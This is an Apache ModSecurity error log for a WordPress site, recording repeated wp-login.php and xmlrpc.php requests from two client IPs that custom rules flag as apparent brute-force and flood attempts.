[Sat Feb 28 11:39:41.783759 2026] [:error] [pid 52460:tid 52483] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjfbLWOogAgHGh62TfnQAAAZQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:46.653274 2026] [:error] [pid 52460:tid 52473] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjgrLWOogAgHGh62TfqwAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:48.656071 2026] [:error] [pid 52460:tid 52467] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjhLLWOogAgHGh62TfrwAAAYQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:51.855112 2026] [:error] [pid 52460:tid 52476] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjh7LWOogAgHGh62TftwAAAY0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:53.267572 2026] [:error] [pid 52460:tid 52479] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjibLWOogAgHGh62TfuQAAAZA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:56.265984 2026] [:error] [pid 52460:tid 52480] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjjLLWOogAgHGh62TfxQAAAZE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:58.057248 2026] [:error] [pid 52460:tid 52474] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjjrLWOogAgHGh62TfzwAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:01.560860 2026] [:error] [pid 52460:tid 52474] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjkbLWOogAgHGh62Tf3wAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:03.270093 2026] [:error] [pid 52460:tid 52477] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjk7LWOogAgHGh62Tf5AAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:06.668446 2026] [:error] [pid 52460:tid 52486] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjlrLWOogAgHGh62TgFAAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:08.160208 2026] [:error] [pid 52460:tid 52471] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjmLLWOogAgHGh62TgKQAAAYg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:12.651990 2026] [:error] [pid 52460:tid 52471] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjnLLWOogAgHGh62TgNgAAAYg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:14.360822 2026] [:error] [pid 52460:tid 52474] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjnrLWOogAgHGh62TgRgAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:17.876494 2026] [:error] [pid 52460:tid 52471] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjobLWOogAgHGh62TgTQAAAYg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:19.471999 2026] [:error] [pid 52460:tid 52484] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjo7LWOogAgHGh62TgUAAAAZU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:22.749802 2026] [:error] [pid 52460:tid 52469] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjprLWOogAgHGh62TgWgAAAYY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:24.074707 2026] [:error] [pid 52460:tid 52475] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjqLLWOogAgHGh62TgXwAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:27.856436 2026] [:error] [pid 52460:tid 52470] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjq7LWOogAgHGh62TgdwAAAYc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:29.550270 2026] [:error] [pid 52460:tid 52482] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjrbLWOogAgHGh62TghQAAAZM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:33.448107 2026] [:error] [pid 52460:tid 52473] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjsbLWOogAgHGh62TglQAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:35.359445 2026] [:error] [pid 52460:tid 52467] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjs7LWOogAgHGh62TgmQAAAYQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:39.070386 2026] [:error] [pid 52460:tid 52479] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjt7LWOogAgHGh62TgoQAAAZA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:40.472857 2026] [:error] [pid 52460:tid 52474] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjuLLWOogAgHGh62TgrgAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:43.382143 2026] [:error] [pid 52460:tid 52463] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJju7LWOogAgHGh62TgxQAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:45.076406 2026] [:error] [pid 52460:tid 52465] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjvbLWOogAgHGh62Tg0wAAAYI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:48.275472 2026] [:error] [pid 52460:tid 52486] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjwLLWOogAgHGh62Tg7gAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:50.668810 2026] [:error] [pid 52460:tid 52473] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjwrLWOogAgHGh62Tg_gAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:54.449037 2026] [:error] [pid 52460:tid 52474] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjxrLWOogAgHGh62ThIQAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:55.966842 2026] [:error] [pid 52460:tid 52473] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjx7LWOogAgHGh62ThKwAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:40:59.262405 2026] [:error] [pid 52460:tid 52473] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjy7LWOogAgHGh62ThRQAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:00.958526 2026] [:error] [pid 52460:tid 52475] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjzLLWOogAgHGh62ThUQAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:04.354024 2026] [:error] [pid 52460:tid 52484] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj0LLWOogAgHGh62ThaAAAAZU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:06.667940 2026] [:error] [pid 52460:tid 52464] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj0rLWOogAgHGh62ThdAAAAYE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:09.673532 2026] [:error] [pid 52460:tid 52484] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj1bLWOogAgHGh62ThkQAAAZU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:11.246618 2026] [:error] [pid 52460:tid 52475] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj17LWOogAgHGh62ThpwAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:16.553183 2026] [:error] [pid 52460:tid 52478] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj3LLWOogAgHGh62Th5wAAAY8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:18.462842 2026] [:error] [pid 52460:tid 52474] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj3rLWOogAgHGh62Th9gAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:22.260580 2026] [:error] [pid 52460:tid 52472] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj4rLWOogAgHGh62TiIAAAAYk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:24.861744 2026] [:error] [pid 52460:tid 52474] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj5LLWOogAgHGh62TiOAAAAYs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:27.750094 2026] [:error] [pid 52460:tid 52463] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj57LWOogAgHGh62TiQgAAAYA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:29.248935 2026] [:error] [pid 52460:tid 52478] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj6bLWOogAgHGh62TiTwAAAY8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:32.950510 2026] [:error] [pid 52460:tid 52481] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj7LLWOogAgHGh62TieAAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:35.655257 2026] [:error] [pid 52460:tid 52467] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj77LWOogAgHGh62TilAAAAYQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:39.269057 2026] [:error] [pid 52460:tid 52483] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj87LWOogAgHGh62TirgAAAZQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:40.973907 2026] [:error] [pid 52460:tid 52477] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj9LLWOogAgHGh62TisQAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:44.571826 2026] [:error] [pid 52460:tid 52484] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj-LLWOogAgHGh62TiuQAAAZU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:45.961358 2026] [:error] [pid 52460:tid 52486] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj-bLWOogAgHGh62TiuwAAAZc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:48.873549 2026] [:error] [pid 52460:tid 52475] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj_LLWOogAgHGh62TizgAAAYw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:50.547997 2026] [:error] [pid 52460:tid 52481] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJj_rLWOogAgHGh62Ti1QAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:53.851935 2026] [:error] [pid 52460:tid 52481] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJkAbLWOogAgHGh62Ti5wAAAZI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:41:55.870299 2026] [:error] [pid 52460:tid 52473] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJkA7LWOogAgHGh62Ti6wAAAYo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:42:00.473672 2026] [:error] [pid 52460:tid 52472] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJkCLLWOogAgHGh62TjBwAAAYk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 12:26:09.876471 2026] [:error] [pid 22194:tid 22210] [client 167.86.118.77:51797] [client 167.86.118.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.86.118.77, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJuYX6mbajs3bzQGys1CQAAAU4"], referer: binance.com
[Sat Feb 28 12:26:15.862284 2026] [:error] [pid 22194:tid 22217] [client 167.86.118.77:51914] [client 167.86.118.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.86.118.77, incrementing ddos counter"] [hostname "www.gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aaJuZ36mbajs3bzQGys1JgAAAVU"], referer: binance.com
